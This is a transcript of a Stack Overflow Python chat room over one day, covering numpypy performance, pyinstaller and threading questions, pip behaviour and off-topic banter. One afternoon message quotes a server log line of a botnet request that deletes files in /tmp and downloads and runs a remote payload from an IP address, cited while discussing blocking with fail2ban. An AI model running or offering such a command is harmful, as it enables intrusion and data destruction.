« first day (3455 days earlier)      last day (1484 days later) » 

12:09 AM
meh.. of course the pypy numpy project has bugs in its compile and install scripts
 
@Todd Yeah the pypy FAQ I cited pretty much says 'use numpy'. Curious why you chose pypy? Not saying you're wrong, just curious. Is that you or your employer who chose it?
 
you make a lot of assumptions =)
 
@Todd ? I just asked why you chose pypy?
 
I'm interested in its JIT performance
 
@Todd Ok. And I asked is this for work, personal, study, research?
 
12:23 AM
my own curiosity. and i may choose to use pypy for work projects, research, or personal projects in the future.
(or not use pypy)
well.. im not sure if I compiled it right, but if I did.. the performance of numpypy is terrible
 
@Todd Yes I just cited you their own FAQ which pretty much sheepishly admits it. Because it says numpypy is written in RPython (which I'd never heard of, and sounds pretty primitive). So if this is an important issue for your project, either use pypy with numpy, or plain old CPython with numpy. (Or write your own C extensions, or whatever). If you think the pypy FAQ should be more explicit about any of that, send them a docbug or email.
 
12:42 AM
is this the right place to ask pyspark sql related queries?
I am new to this
 
I always like to try things out myself to get an idea of what sort of shape their in
plus I gain some familiarity with the options which can be useful
 
 
1 hour later…
 
2 hours later…
3:49 AM
hey guys, how would i take a cross tab like this and remove the hierarchy (make the leftmost column the index)
Here this was a very easy way to create what would become a biadjacency matrix but this is causing some issues
the only way ive come up with is making it into an array and relabelling the columns but that seems excessively ugly
and even then its kind of a nasty reach
nvm that doesnt fix it either
why are crosstabs so uselessly unwieldy
 
 
3 hours later…
6:53 AM
@Todd Don't use numpypy. It was the initial prototype to have JIT-aware numpy, basically by rewriting (large parts of) numpy in RPython. The current roadmap instead aims at improving PyPy's C-API so that the JIT is aware of native numpy.
There are PyPy JIT prototypes that are already capable of vectorizing array operations. Both numpy and array arrays.
As part of the PyPy JIT and Gilectomy approaches, there is work ongoing for a new C-API that doesn't make as many assumptions about CPython internals.
Most importantly, GC.
 
 
1 hour later…
8:19 AM
@smci for what it's worth, just specifically talking about your mention of RPython, RPython is what pypy uses.
So it's not bad or anything per se, it's essentially a subset of python. But yeah, when it comes to numpy, numpypy seems to be a sort of failed experiment at this point
 
8:31 AM
HI,
i created a py.exe using pyinstaller but my program is not getting executed.
Generally my code is running fine, but as a exe file its not running.
please give me some suggestions.
 
8:46 AM
Please provide more detail. What do you mean by "as a exe file its not running"? Does it crash? Is it not executable? Does it behave differently than expected, e.g. failing to ask for input or failing to provide output?
 
8:58 AM
The code should generate the output in the html file.
as exe file program asks for the input it runs fine and even it prints the output in the console.

error :Failed to execute script
but at the end error is like failed to execute the script
 
so it runs fine and the error is only at the end?
 
yeah the error is at the end
 
Did you try to run a debug build?
 
No i didnt, i will try that now, thank you.
 
 
2 hours later…
10:53 AM
@vagautam you can read our rules to learn how to ask here. The py in pyspark means this is a right place, but we'll only know if anyone can help if you ask your question :)
 
@AndrasDeak but your crystal ball was working brilliantly the other day!
 
It's the free subscription so it only works on numpy questions
 
:)
Umm.... "My preference is to format the code GNU style with 3 character tab." - that's gotta be a typo - surely?
 
with social distancing that will be 17 spaces
 
Suppose it depends on what size font it's in as well...
 
11:17 AM
"Scrap twetter Data" - 1/3 ain't bad :p
 
how to maintain requests session object under threading process
am doing it like that, but i feel it's incorrect way
def myfunc(url, params):
    with requests.Session() as req:
        r = req.get(url, params=params)
        return r.content


with ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(
        myfunc, "https://site.com/", page=f"i") for i in range(0, 10)]
am pretty sure that am just creating session for each thread.
Oh okay, seems i need to create it out of my function and pass it as args
 
@αԋɱҽԃαмєяιcαη That sounds reasonable.
 
11:32 AM
The lifetime and scope of a block inside a function is always less than the function itself. Opening a context inside a function inside a thread automatically restricts the context to that thread.
by the way, are you sure that sessions are thread safe?
 
just seen the maintainer comment My general advice has always been "one session per thread". If that advice remains true we don't have to do anything.
 
it might be easier to re-use the sessions by having each function work on a chunk of requests instead of just one.
 
This is now an example of a question which itself demonstrates the bug it's reporting :-D — Rand al'Thor 20 hours ago
 
Yeah... saw that the other day and was tempted to comment along those lines :)
 
@MisterMiyagi Good point. I've never tested that.
 
11:36 AM
Will be interesting to see what happens regarding bounties being cancelled and done again...
 
@JonClements This: meta.stackexchange.com/q/345849/334566 ? Yeah, that's pretty odd.
 
@PM2Ring that's the one...
 
Some physics fun for April 1: arxiv.org/abs/2003.14321
A long-standing problem of observing Room Temperature Superconductivity is finally solved by a novel approach. Instead of increasing the critical temperature Tc of a superconductor, the temperature of the room was decreased to an appropriate Tc value. We consider this approach more promising for obtaining a large number of materials possessing Room Temperature Superconductivity in the near future.
 
that's actually the first April first joke I've seen this year
 
Ugh
 
I can't believe it's April already... I'm still having to double check myself when writing dates I'm not still putting down 2019...
 
till today, i keep forgot and type 2019 !
 
@JonClements I still can't believe it's Wednesday. My sense of time is completely bonkers with all that WFH.
 
@MisterMiyagi Closed
@αԋɱҽԃαмєяιcαη Don't bother wasting your close votes on cv-pls dupes when there are people with the dupe hammer active in the room.
 
@MisterMiyagi had to google just to make sure that it's actually wednesday and you're not joking
it's April fools after all
 
11:51 AM
Ugh
 
OTOH, it's a Good Idea to add the generic tag to such questions, since most of the gold badgers don't have a python-3.x badge. (There's not much point adding it now that it's closed).
 
Bad, bad Miyagi
 
Meow! looks suggestively at his bowl
 
Ooops... sorry... was that yours!?
Puppy been bad... :(
 
In keeping with the April 1 theme, there are currently 3 questions on the Physics.SE Active front page about warp drives, worm holes, etc.
 
11:55 AM
@PM2Ring i thought cv-pls meant close vote please
 
@PM2Ring What's that got to do with April fools? I've watched this documentary called Star Trek: Deep Space 9 and a wormhole and warp drive and everything is very well covered...
 
Speaking of cv-pls, Not-a-problem stackoverflow.com/questions/60955436/…
 
@αԋɱҽԃαмєяιcαη It does. But the usual practice is to let gold badgers handle them, if they're in the room. Although that's not so important now that it only takes 3 votes to close a question.
 
Them being close-as-dupe?
 
@αԋɱҽԃαмєяιcαη it also implicitly covers "think for yourself before you vote". Just for the record.
 
11:59 AM
i know how to handle my decision well on close vote. am not the one who just open and just vote :D
 
@IljaEverilä Yes.
@JonClements Martijn just posted a comment. And now there's an answer: meta.stackexchange.com/a/345858/334566
 
Ta... have kept it open in a tab watching :)
 
@JonClements :D Wormholes & warp drives are borderline on-topic, since some questions about that stuff can be answered in the context of general relativity. But they often get closed as non-mainstream, since (as far as we know) you need "exotic" matter with negative mass to stabilise a wormhole or warp bubble, and we're pretty certain that such exotic matter can't exist in our universe.
 
@PM2Ring I'm sure it can be solved with the power of vacuum cleaners!
 
@PM2Ring Meh... you just shoot some form of particle thingies from the deflector dish... seems simple enough to me :)
 
12:09 PM
@JonClements Never apologies for failures of personnel to follow proper bowl refilling procedure! covers room with cat hair
 
@MisterMiyagi don't forget to eat some of those hairs and cough 'em back up to really show 'em who's boss!
Umm... I smell java
 
Very Java.
 
Good idea, I want to smell java too. Brb coffee.
 
coffee's fine... just no mentioning cake!
 
@JonClements Wow. Started to enumerate their errors in a comment, stopped after the 6'th issue.
 
12:25 PM
Hum, day X with the kids. Time to explain to them cryptographic signatures, after which the boy goes to his toy laptop and says "I'm now sending my secret key to you, please don't share it."
 
Training went somewhat okay then :)
 
@IljaEverilä Ah, so you are at lesson 10 already: Every PKI needs a basic network of trust.
 
For some reason reminded of: "Parental Controls - something kids use to stop their parents breaking things..."
 
@IljaEverilä for some reason that reminded me of pbfcomics.com/comics/the-talk
 
@AndrasDeak Ooh that's grim :D
 
12:33 PM
Nice (in a gloomy way)... I've saved that
 
@IljaEverilä Most of pbfcomics is :) And some might be slightly NSFW, I'm not sure.
 
I think NSFW has been redefined a bit lately.
 
true :D
 
Soeaking of The Talk, this got bumped yesterday: scifi.stackexchange.com/q/144439/116908
 
12:50 PM
Sometimes, I wonder whether there is a special division psychology research squad that spends 24/7 analysing such questions. "Frank, we have a 10 on the cigar scale!"
 
user10984358
1:06 PM
@JonClements fwiw this is a code from leetcode’s 30 days of coding something and hence why the class and camel case function name. The original question asks you to do in linear time though.
 
leetcode seems to be popping up more frequently these days... unless I've only just started noticing...
 
Permian ensures a steady stream of leetcode problems here, that might affect your cognitive bias
 
user10984358
lol. The question being here might be cuz the 30 day challenge started today. They’re advertising a random price if someone solves all 30.
 
2:09 PM
Hello. How can we add link of a file in stackoverflow ?
 
@SumraMushtaq you can't and shouldn't. All questions and answers should be self-contained.
SO itself doesn't host files, and any external resource will eventually rot away
 
2:45 PM
Fresh cabbages everyone
 
3:19 PM
Oh, good. The devs have moved the new follow button to a more sensible position.
 
Ahhh... yes... I know some were proposing it goes to the end but just after edit makes sense
 
Yep. At the right end it'd trip up people expecting flag to be there.
It may eventually get an icon & live near the timeline icon, but that's further down the track, along with various other improvements.
 
actually surprised that timeline icon didn't get pushed out for everyone sooner - mods had that for well over a year
Just managed to finally catch up on the rest of Star Trek: Picard - absolutely loved a few scenes in the Nepenthe episode... Very much gives "feels" like at the end of TNG's "All Good Things" - when Picard joins them for poker and says something like: "I should have done this sooner" and Troi says: "You were always wecome"...
 
From what I've seen on the SF&F stack, the fans are quite impressed with Star Trek: Picard. I s'pose I ought to check it for myself at some stage...
 
3:34 PM
It had a few moments where I just thought "oh - come on..." but ultimately enjoyed it
 
I tried to get my parents to watch TNG, but they weren't interested. As far as Mum was concerned, Star Trek == Capt Kirk. :)
 
Yay... have a server up for a few days and getting stuff like [01/Apr/2020:14:55:34 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 194.15.36.96/jaws;sh+/tmp/jaws HTTP/1.1" 403 178 "-" "Hello, world" every few minutes... joy
and roughly about 90 IPs being blocked every hour - fun fun fun
 
You have to admire them for their persistence. :)
 
Ummm... this comment - am I missing something there before I reply with "Of course it's going to take longer if you have more items and more possible ways of interpreting that data - but how would you imagine it'd be possible otherwise?"
 
3:39 PM
But with stuff like that rife on the Net, it amazes me that people even try to expose anything less than a proper secure prod server to the Net.
 
@JonClements fail2ban can handle that very well :D
 
@αԋɱҽԃαмєяιcαη that's what's blocking stuff right now... also manually applying quite a few networks etc...
that'll do for now until I can establish a hopefully reasonable whitelist only approach
 
Hello
 
@JonClements Nope. :) But maybe their data isn't totally random, it could have blocks that all use the same date format. OTOH, they may have to deal with total chaos, it seems quite popular these days. ;)
 
I use AbuseIPDB which automatically report that things to abuse@domain.com etc and you can also handle it with tcp/udp dump to disable ping
 
3:47 PM
Turnip orange banana, eggpland celery pear.
 
@neuro Greetings! That avatar image looks familiar...
 
Are you a pink floyd fan? @PM2Ring
 
@PM2Ring There is that... but then you just put things in the "most likely to occur" order in the attempts... I suppose one could periodically shift things around depending on tried/failed attempts over N iterations or some logic to attempt to reduce the amount of exceptions, but I think that'd be more overhead than just see if it works or not... exceptions aren't unreasonably expensive especially when you're handling them close to the frame they originate in
 
@neuro Sort of. But Meddle is one of my favourite albums of all time, and I still listen to it regularly.
in The h Bar on The Stack Exchange Network Chat, Jan 3 at 12:36, by PM 2Ring
@FakeMod It is good. But if you've never heard it before, you must listen to Echoes. It's rather long: it was the entire 2nd side on the Meddle LP.
 
Emoji headers will be the death of the internet
 
3:58 PM
@PM2Ring I was sending that around on whatsapp yesterday :)
 
@ParitoshSingh Yes I knew it's a (very primitive) subset of Python. I had read the RPython quickstart. It's such a small subset that just looking at it you can expect the performance will suck - Python performance enhances won't apply. And we were talking specifically about numpypy: the vicious circle will be since it has nearly zero production users, its performance will continue to suck. I can't find any blog or benchmarks documenting numpypy performance, which tells me noone is seriously using it.
 
other way around, it's really good for performance because it compiles down to C code better since it's so restrictive.
 
As usually, the test of whether a (released) package is useful or not is "How many production users, if any, does it have?" If even its own FAQ sheepishly admits "it sucks - don't use it" then that's your answer.
 
But other than that, agreed re numpypy
iirc, it uses static typing. It's part of why pypy can do such a good job with performance when it comes to native python code
 
@ParitoshSingh That's spurious, you could claim the same about Python 1.x. Or other retro languages. Numba seems to have >100x more users than numpypy.
 
4:04 PM
I could, but im not talking about other cases. Just Rpython specifically
 
pfft
 
@ParitoshSingh We were talking about Rpython specifically for numpypy. If you or anyone has performance numbers showing it doesn't suck, post them. To me, the fact that it apparently has zero production users tells me everything I need to know.
 
im agreed with you on numpypy.
 
@PM2Ring it's not a spoiler - but here's a little bit (not great quality) of that Picard episode I mentioned that gave me the "feels" of TNG: All Good things
 
if you're blaming RPython for numpypy's issues, it seems backwards to me, but i just wanted to clear the air around RPython.
 
wim
4:08 PM
> Defaulting to user installation because normal site-packages is not writeable
 
@ParitoshSingh I'm simply concluding that numpypy has no serious users. Precisely why that is so, I'm not going to dig further. There are many better alternatives.
 
wim
^ that new in pip?
 
No issues, agreed.
 
@JonClements Thanks.
 
wim
interesting, not sure whether I like it or not (pro: prevent people from mindless sudo pip install attempt, con: "doing this other thing instead that you didn't ask for" is usually not a good design decision)
 
4:27 PM
okay... seems a next door neighbour is having a children's party
what does one actually do in this case?
 
4:46 PM
@wim wait, I thought user installation was going to be the default no matter what
cries deprecation
 
4:57 PM
@MisterMiyagi err - thought it already was?
 
apparently, this was discussed to death and back again. silent --user is the default since pip 20.0 (2020-01-21).
@JonClements I'm not always aware of the hippest stuff the totally radical people do these days. Had to stop myself from giving snide remarks to a Py2.6-only question just recently; glasshouse and all that.
 
wim
@MisterMiyagi that's not what I'm seeing on 20.0.2
 
@JonClements These days, the recommended practice is "call the cops" in my neck of the woods. Kinda kills the fun...
 
wim
unless by "silent" you mean "print message, do it anyway"
 
my bad. as a sysadmin, anything that doesn't fail but emits 1 line of warning in a multi-page log is silent to me.
 
wim
5:05 PM
do you think it's a good change?
I'm on the fence about changes to protect stupid people from themselves..
and the user site has more than it's share of problems, I try not to install anything there these days except for pipx
 
I'm allergic to the CLI being clever.
If the CLI thinks it knows what I actually meant, it should fail and tell me so.
@wim so you use venvs for everything, then?
come to think of it, would there be any harm in the "user local" python being an actual venv?
 
*shakes magic 8 ball*...venvs are a lame hack
 
5:21 PM
python packaging is a lame hack, as far as I can tell, so...
 
Hello, quick question, new to tweepy but having a hard time finding documentation regarding the filter() method for the Stream function, can somebody point me some directions please?
 
1. can you otherwise find the docs of Stream? 2. if yes, are you sure that's where the method is defined?
source code isn't terribly self-documenting
 
Yup that seems enough to answer my question I think
Pretty strange you can't use the tweet ID to actually perform a filter, or maybe I'm missing something
 
after three minutes of googling and perusing docs.tweepy.org I can't find anything of substance, only a few examples using myStream.filter...
 
Yes, and thanks for the time I wanted to find the docs to know all the possible filtering options/parameters the method has
I am specifically trying to filter by tweet ID, but it doesn't seem to be covered in the docs
 
5:36 PM
Does it make sense to filter by a tweet ID? Wouldn't you just get that single tweet?
 
wim
@MisterMiyagi yes.
@AndrasDeak virtual env is a python-specific hack, but it's the best thing we have given the mess that is the python import system.
 
@AndrasDeak Yes because I have a list of all the tweet IDs I need to use
 
@CeliusStingher so do you really need the streaming API? Mostly asking as a rubber duck
 
wim
@MisterMiyagi +1
 
> The Twitter streaming API is used to download twitter messages in real time. It is useful for obtaining a high volume of tweets, or for creating a live feed using a site stream or user stream. See the Twitter Streaming API Documentation.
OK, that in the middle might mean anything
 
5:41 PM
Well it is true that for this I do not need the streaming API
I do need it to collect the tweets I am receiving right now
 
OK, my complete lack of twitter knowledge doesn't help :) Maybe someone else can.
 
You still are one step ahead of me lol
This question seems to cover some basis stackoverflow.com/questions/28384588/…
 
Gotcha
 
6:20 PM
@CeliusStingher what are you trying to achieve?
it's been a long time since I've dealt with twitter api wise... use to do a few things when registered as a partner for it for a firehose thing
 
6:33 PM
Which contains the tweets id, and I wish recover all the information from each tweet
And start collecting covid-19 tweets myself too
I managed to be able to get all the information from tweet given the id, now I'm lookng for an efficient way to do it instead of simply looping through it line (tweet id) of the txt files
 
7:30 PM
hello
 
hey guys! the pydata.com seems down. Could someone corroborate?
 
loads for me
 
fml!
oh! it's working now. Must have been a momentary gremlin
 
8:01 PM
Guys, how many of you have projects on PyPI?
 
at least 3 and I'd be surprised if it were more than 8
 
Is there any reason to prefer numpy.stack over numpy.array or viceversa?
 
@user76284 not really when both work
np.array is the go-to array creater function when you start from scratch. np.stack is more for combining existing array-like, see e.g. its axis keyword
I typically only use np.array for literal-like arrays, and np.*stack (stack, hstack, vstack, dstack, and sometimes concatenate) to combine existing arrays
 
Thanks
 
 
1 hour later…
9:29 PM
@PM2Ring Meddle is definitely one of their best albums...and Echoes is their greatest song, imo
 
 
1 hour later…
10:36 PM
Is there a reason Python 3.8 isn't the default on Homebrew?
 
wim
10:48 PM
Because you didn’t do it. Homebrew is ran by the community.
a lot of stuff needs to migrate --> github.com/Homebrew/homebrew-core/issues/47274
 
11:30 PM
hello
wrapping up a module that mounts filesystems from the fs module to a mountpoint on my linux system =)
 

« first day (3455 days earlier)      last day (1484 days later) »